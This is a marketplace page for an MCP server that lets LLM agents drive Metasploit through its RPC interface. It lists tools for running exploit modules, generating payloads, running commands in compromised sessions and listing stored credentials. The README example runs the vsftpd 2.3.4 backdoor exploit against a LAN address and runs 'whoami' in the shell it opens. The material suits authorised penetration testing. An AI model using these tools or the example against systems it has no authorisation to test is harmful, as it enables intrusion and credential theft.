MCP.Market

Pymetasploit3 MCP server

by daedalus·io.github.daedalus/mcp-pymetasploit3·v0.1.1·1 stars
No reviews yet

MCP server for Metasploit Framework via pymetasploit3

B82/100grade B
Write a reviewInstall
What users say
No reviews yet
Be the first
Safety scan
B82/100

full report

Adoption
New

1 stars19 downloads/wk

Reviews

Write one

Nobody has reviewed Pymetasploit3 yet.

If you have run it, two minutes of your experience saves the next person an afternoon.

Pymetasploit3 tools (46, 7 write)

write = sends, deletes, buys or posts

Read from the package source without running it. The installed server may list more.

  • connect

    Connect to Metasploit RPC server.

  • console_is_busy

    Check if a console is currently executing.

  • core_reload_modules

    Reload all modules in the framework.

  • core_save

    Save the current core state.

  • core_set_global

    Set a global variable.

  • core_unset_global

    Unset a global variable.

  • create_consolewrite action

    Create a new Metasploit console.

  • db_list_creds

    List all credentials in the current workspace.

  • db_list_hosts

    List all hosts in the current workspace.

  • db_list_notes

    List all notes in the current workspace.

  • db_list_services

    List all services in the current workspace.

  • db_list_vulns

    List all vulnerabilities in the current workspace.

  • db_list_workspaces

    List all workspaces.

  • db_set_workspace

    Set the current workspace.

  • destroy_consolewrite action

    Destroy a Metasploit console.

  • disconnect

    Disconnect from Metasploit RPC server.

  • execute_modulewrite action

    Execute a loaded module.

  • generate_payload

    Generate a payload with the specified options.

  • get_client_info

    Get current connection status and information.

  • get_db_status

    Get database connection status.

  • get_framework_version

    Get Metasploit framework version information.

  • get_job_info

    Get information about a specific job.

  • get_missing_required

    Get required options that haven't been set yet.

  • get_module_info

    Get detailed information about a module.

  • get_module_options

    Get all options for a module.

  • get_module_references

    Get CVE/OSVDB/BID references for a module.

  • get_module_targets

    Get available targets for a module.

  • get_session_info

    Get information about a specific session.

  • get_target_payloads

    Get compatible payloads for a target.

  • interact_sessionwrite action

    Write a command to a session and read the output.

  • list_jobs

    List all running jobs.

  • list_modules

    List available modules of a specific type.

  • list_plugins

    List currently loaded plugins.

  • list_sessions

    List all active sessions.

  • load_plugin

    Load a Metasploit plugin.

  • read_console

    Read output from a console.

  • run_module_outputwrite action

    Execute a module and return the output.

  • search_modules

    Search for modules matching a query.

  • session_run_commandwrite action

    Run a command in a session and wait for output.

  • set_module_option

    Set a module option value.

  • set_module_target

    Set the target for a module.

  • stop_job

    Stop a running job.

  • stop_session

    Stop/close a session.

  • unload_plugin

    Unload a Metasploit plugin.

  • use_module

    Load a specific module for use.

  • write_consolewrite action

    Write a command to a console.

Public scan report

scanner v0.1.9 · 2026-09-27 · same rubric, same numbers if you re-run it

no findings
  • Code scan4 source files scanned25/25
  • –Live reliabilityno gateway calls yet and no remote to proben/a
  • –Tool poisoningtools not inspected (local package is not executed); not countedn/a
  • Auth qualitylocal package, no credentials required12/15
  • Maintenancelast push 96 days ago8/15
  • Maintainer identityregistry namespace matches repository owner; GitHub account older than a year8/10
Overall 82/100. Components that don't apply are left out of the denominator. Any critical finding is an F.RubricAppeal a findingJSON

How Pymetasploit3 compares

Against every graded MCP server, from our own scans and uptime checks. Updated after each scan run.

Safety score
82/100
higher than 63% of 48,273 servers
Tools
46
the typical server has 7
Tools that change things
15%
typical: 0%. Fewer write tools means less an agent can break
GitHub stars
1
more than 65% of 28,534 servers
Downloads a week
19
more than 6% of 11,915 servers with a package

What its tools let an agent do: 34 read · 3 create · 4 change · 1 delete · 4 run or deploy

Install Pymetasploit3 in Claude Code, Cursor or VS Code

claude mcp add mcp-pymetasploit3 -- uvx mcp-pymetasploit3
Add to Cursor

What the publisher says

From the Pymetasploit3 repository's README, as published. We do not edit it. Read it on GitHub

mcp-pymetasploit3

MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.

Install

pip install mcp-pymetasploit3

MCP Server Configuration

{
  "mcpServers": {
    "mcp-pymetasploit3": {
      "command": "mcp-pymetasploit3",
      "env": {}
    }
  }
}

Usage

Starting Metasploit RPC Server

Before using the MCP server, you need to start the Metasploit RPC server:

Using msfrpcd:

msfrpcd -P yourpassword -p 55553 -n

Using msfconsole:

msfconsole -q
msf6 > load msgrpc Pass=yourpassword

MCP Tools

Once connected, the following tools are available:

Connection Management

  • connect - Connect to Metasploit RPC server
  • disconnect - Disconnect from RPC server
  • getclientinfo - Get current connection status

Module Management

  • list_modules - List available modules by type
  • use_module - Load a specific module
  • getmoduleinfo - Get module description and info
  • getmoduleoptions - Get all module options
  • setmoduleoption - Set a module option
  • getmissingrequired - Get required options not set
  • execute_module - Execute a module
  • getmoduletargets - Get available targets
  • setmoduletarget - Set the target
  • gettargetpayloads - Get compatible payloads

Payload Generation

  • generate_payload - Generate a payload

Session Management

  • list_sessions - List all active sessions
  • getsessioninfo - Get session information
  • interact_session - Write/read from session
  • sessionruncommand - Run command with output
  • stop_session - Stop a session

Console Management

  • create_console - Create a new console
  • destroy_console - Destroy a console
  • write_console - Write to console
  • read_console - Read console output
  • consoleisbusy - Check if console is busy
  • runmoduleoutput - Execute module and get output

Core/Framework

  • getframeworkversion - Get framework version
  • core_save - Save core state
  • corereloadmodules - Reload modules
  • coresetglobal - Set global variable
  • coreunsetglobal - Unset global variable

Database

  • getdbstatus - Get database status
  • dblistworkspaces - List workspaces
  • dbsetworkspace - Set current workspace
  • dblisthosts - List hosts
  • dblistservices - List services
  • dblistnotes - List notes
  • dblistcreds - List credentials
  • dblistvulns - List vulnerabilities

Jobs

  • list_jobs - List running jobs
  • stop_job - Stop a job
  • getjobinfo - Get job information

Plugins

  • list_plugins - List loaded plugins
  • load_plugin - Load a plugin
  • unload_plugin - Unload a plugin

Search

  • search_modules - Search for modules
  • getmodulereferences - Get module references

Example

# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)

# List exploits
exploits = list_modules("exploit")

# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")

# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")

# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")

# List sessions
sessions = list_sessions()

# Interact with session
output = interact_session("1", "whoami")

# Disconnect
disconnect()

Development

git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"

# run tests
pytest

# format
ruff format src/ tests/

# lint
ruff check src/ tests/

# type check
mypy src/

Shortened. The full README is on GitHub.

Nothing above is checked by us. What we check is on the safety report.

Pymetasploit3: common questions

Is Pymetasploit3 MCP server safe?
Mostly: it is graded B (82/100). Read the Pymetasploit3 safety report
How do I install Pymetasploit3?
It runs on your machine. Copy the Claude Code, Cursor, VS Code or Claude Desktop config from the install section.
Does Pymetasploit3 need an API key?
Not as far as the registry entry and our scan can tell: no credentials are declared or required.
Is Pymetasploit3 maintained?
The last commit was 132 days ago (2026-06-23). The latest release is v0.1.1.
How does Pymetasploit3 compare with other MCP servers?
safety score 82/100 (higher than 63% of 48,273 servers); tools 46 (the typical server has 7); tools that change things 15% (typical: 0%. Fewer write tools means less an agent can break). Full comparison.

More from daedalus →